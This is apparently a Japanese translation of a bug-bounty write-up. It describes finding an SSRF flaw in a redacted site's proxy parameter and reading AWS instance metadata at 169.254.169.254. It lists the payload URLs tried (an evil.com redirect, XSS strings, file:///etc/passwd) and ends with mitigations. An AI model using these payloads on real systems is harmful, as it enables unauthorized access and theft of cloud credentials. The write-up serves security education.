Shikata Ga Nai

Private? There is no such things.

SSRF leads to access AWS metadata.を訳してみた

Hello there, ('ω')ノ

 

SSRF は、AWS メタデータへのアクセスにつながるを。

 

脆弱性:

 SSRF

 

記事:

 https://infosecwriteups.com/ssrf-leads-to-access-aws-metadata-21952c220ae

 

サーバサイド リクエスト フォージェリ (SSRF) 攻撃では。

攻撃者はサーバ上の機能を誘導して。

内部リソースの読み取りまたは更新を行うことができ。

攻撃者は、AWS メタデータなどのサーバ構成を読み取ったり。

http 対応データベースなどの内部サービスに接続したり。

公開を意図していない内部サービスに対して。

ポスト リクエストを実行したりできる可能性があり。

 

https://portswigger.net/web-security/ssrf

 

プログラム名をreducted.comとして。

Burp SuiteのHTTP履歴ですべてのリクエストをチェックして。

Burp Searchを使用して、次のような可能なパラメータを見つけて。

 

url={target}
file={target}
filename={target}


top 25 params

https://github.com/lutfumertceylan/top25-parameter/blob/master/ssrf-parameters.txt

 

そして、このような url= を見つけて。

 reducted.com/gadgets/proxy/?url=


1.オープンリダイレクトを試みて

URL は https://reducted.com/gadgets/proxy/?url=https://evil.com のようなもので。

しかしエラーをスローして失敗して。

 


2.XSSを試して

URLはこんな感じで。

 https://reducted.com/gadgets/proxy/?url=javascript:alert(1);

 https://reducted.com/gadgets/proxy/?url=http://14.rs

 https://reducted.com/gadgets/proxy?url=http://brutelogic.com.br/poc.svg

 

しかしメソッドが許可されていないというエラーがスローされ失敗して。

 


3.LFI を試して。

URL は https://reducted.com/gadgets/proxy/?url=file:///etc/passwd のようなもので。

しかしurlスキーマはHTTPまたはHTTPSのみで失敗して。

 

 

内部を読み取ってサーバにアクション[file:///、dict://、ftp://、gopher://]を。

実行させるURLスキーマを試しましたが失敗して。

 

 

 

URLにアクセスしましたが、単純なテキストファイルが反映されて。

ダウンロードされたコンテンツをロードしておらず。

 

AWS メタデータの読み取り:

他の多くのことを行った後、結果が得られなかったので。

ヒットのためだけに AWS のマジック IP を思い出して。

URL パラメータを AWS が使用するマジック IP である以下の IP に置き換えてみて。

 

https://gist.github.com/mechcozmo/c41c3a8dff2e909f1c0b0c0b0586f67c

 

次のように URL を作成して。

https://reducted.com/gadgets/proxy/?url=http://169.254.169.254/latest/meta-data

 

 

これはreducted.txtファイルをダウンロードし、それを開くと以下の情報が表示されて。

 


下記が、AWS メタデータで。

 


緩和:

1.ホワイトリストと DNS 解決

2.入力検証

3.応答処理

4.未使用の URL スキーマを無効に

5.内部サービスの認証

 

Best regards, (^^ゞ